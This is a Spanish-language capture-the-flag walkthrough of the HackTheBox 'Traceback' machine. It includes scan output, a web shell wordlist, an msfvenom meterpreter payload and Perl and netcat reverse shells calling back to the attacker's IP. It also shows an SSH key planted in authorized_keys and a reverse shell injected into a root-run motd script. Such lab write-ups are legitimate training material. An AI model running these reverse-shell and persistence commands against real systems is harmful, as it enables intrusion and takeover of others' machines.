Inicio Linux & Systems Networks & Infrastructure Cybersecurity Cloud & DevOps SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

HackTheBox – Traceback Writeup

HackTheBox – Traceback Writeup

Tabla de contenidos

Escaneamos todos los puertos mediante nmap:

CODE
 nmap -p- -Pn -A 10.10.10.181 -n

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/10%OT=22%CT=1%CU=32748%PV=Y%DS=2%DC=T%G=Y%TM=5F08825
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   42.90 ms 10.10.14.1
2   43.32 ms 10.10.10.181

Comenzamos a fuzzear la web en la cual no encontramos nada

CODE
dirb  http://10.10.10.181

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jul 10 17:06:15 2020
URL_BASE: http://10.10.10.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.181/ ----
 

Accedemos a la web y vemos que parece ser que hicieron un Defacement

HackTheBox – Traceback Writeup

Analizando el código fuente vemos una linea la cual nos resulta interesante y la buscamos en google: «Some of the best web shells that you might need»

HackTheBox – Traceback Writeup

En la cual encontramos un repositorio el cual contiene webshell

HackTheBox – Traceback Writeup

Creamos un wordlist con todas las webshell encontaradas en: https://github.com/TheBinitGhimire/Web-Shells

CODE
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

Volvemos a Fuzzear con el wordlist generado encontrnado una webshell llamada «smevk.php»

CODE
dirb  http://10.10.10.181 /usr/share/dirb/wordlists/shell.txt 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jul 10 17:12:33 2020
URL_BASE: http://10.10.10.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/shell.txt

-----------------

GENERATED WORDS: 16                                                            

---- Scanning URL: http://10.10.10.181/ ----
+ http://10.10.10.181/smevk.php (CODE:200|SIZE:1261)   

a

HackTheBox – Traceback Writeup

Generamos una shell para poder subir

CODE
msfvenom  -p php/meterpreter/reverse_tcp LHOST=10.10.15.17 LPORT=8080 R > exploit.php

De la misma forma, dejamos escuchando un handler

CODE
set payload php/meterpreter/reverse_tcp
set lport 8080
set lhost 10.10.15.17
exploit

[*] Started reverse TCP handler on 10.10.15.17:8080 
[*] Sending stage (38288 bytes) to 10.10.10.181

Subimos la shell creada en http://10.10.10.181/smevk.php

HackTheBox – Traceback Writeup

Ejecutamos la shell subida en el paso anterior: http://10.10.10.181/exploit.php

Comprobamos que tenemos una shell en el handler que hemos dejado escuchando.

HackTheBox – Traceback Writeup

Comprobamos el usuario que somos

HackTheBox – Traceback Writeup

A continuación yo cambio de shell dado que la shell obtenida era realmente muy aparatosa…. pero como veremos a continuación había una forma mejor

Dejamos escuchando mediante NC un listener

CODE
nc -lvp 1234

Mediante perl obtenemos la nueva shell 

PHP
/usr/bin/perl -e 'use Socket;$i="10.10.15.17";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
HackTheBox – Traceback Writeup

Empezamos a intentar obtener información para poder elevar privilegios, al realizar un history vemos los siguientes comandos ejecutados anteriormente: 

HackTheBox – Traceback Writeup

Elevamos privilegios ejecutando el comando:

BASH
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
HackTheBox – Traceback Writeup

Nuevamente cometemos el error de configurar una nueva shell en perl dado que la shell era un poco mala

Dejamos escuchando NC

CODE
 nc -lvp 1235

Ejecutamos la shell

PHP
/usr/bin/perl -e 'use Socket;$i="10.10.15.17";$p=1235;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
HackTheBox – Traceback Writeup

Obtenemos la primera FLAQ del usuario sysadmin

CODE
cat /home/sysadmin/user.txt
f09a465986a1bb1aeb0fa2948db78040
HackTheBox – Traceback Writeup

Tras buscar mucho como poder elevar privilegios lo único interesante que encontramos es el siguiente proceso el cual se ejecuta cada 30 segundos

HackTheBox – Traceback Writeup
CODE
root      36600  0.0  0.0  58792  3160 ?        S    09:09   0:00 /usr/sbin/CRON -f
root      36602  0.0  0.0   4628   840 ?        Ss   09:09   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
root      36606  0.0  0.0   7468   788 ?        S    09:09   0:00 sleep 30

Comprobamos el directorio /etc/update-motd.d/ y dentro de el se encuentra diversos ficheros, Nos centramos en 00-header dado que tiene el mismo mensaje que cuando se intenta acceder por ssh

HackTheBox – Traceback Writeup

El único problema es que no tenemos contraseña para acceder por ssh… dando vueltas caemos en la cuenta que realmente no hace falta contraseña porque nos podemos conectar mediante certificado.  Por lo tanto agregamos nuestro certificado al archivo authorized_keys

BASH
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNjYWBv5FHyS4OWe+xB/WoNwrH54Z3zFqRwtKFnG6meFh1/HnPwQofXjmcg5Y0a/CbfFD1twiZDK2h1Tap9aq2FnFjOghZb0mFfIfWiEyK3o6UK+eN9MW7hnK6EVqvxVR2kfTQgYLgLasiRiqSGfHuM/c9+wAaLgYJnD1pBuLpnkgsrjUBUE7MkTCB+e69DXoSj39VsJG7QyeeHHk1hoSfHHH0hfnxt+Z1E3eu2+dmA1iTfX17/2LHoTy/8ZIJDwMCFx6RlE8Ws0WQghw2qJDX7SPepk2adDdvzuxda3iD59un5GPDqJE3R970Q5DDNqvFGFLQBk6F0yHn+AqRfIRFSSZBR61oC5ZRzjvfTNVDFa0HxUs2vWx7gyRXlSJTvQgYIXfbPmfwTnXiccngc3qE+4yvWV97+AbMySHcY0ZSG7ws06+qcm90kEeEJrsoKl05bbVur9nEWv09RiuWq9UHeojDBGy4mCwjaj3MZLhEh7fPqRnBafWmAidtkLSLf9k= webadmin@redorbita" >> authorized_keys

Comprobamos a conectarnos por ssh

HackTheBox – Traceback Writeup

Realizamos diversas pruebas modificando el archivo 00-header y comprobamos que sale lo que agregamos cuando intentamos conectarnos por ssh, por lo tanto dejamos escuchando un nc

CODE
nc -lvp 1236

Agregamos una reverse shell al fichero 00-header

BASH
echo "nc -e /bin/bash 10.10.15.17 1236" >> 00-header

Accedemos mediante SSH y comprobamos que obtenemos shell mediante root

HackTheBox – Traceback Writeup

Obtenemos la ultima FLAQ del usuario root

HackTheBox – Traceback Writeup
CODE
root@traceback:/# cat /root/root.txt
cat /root/root.txt
1a6a97a01269b613870c8292c198ff77

:wq!

Comentarios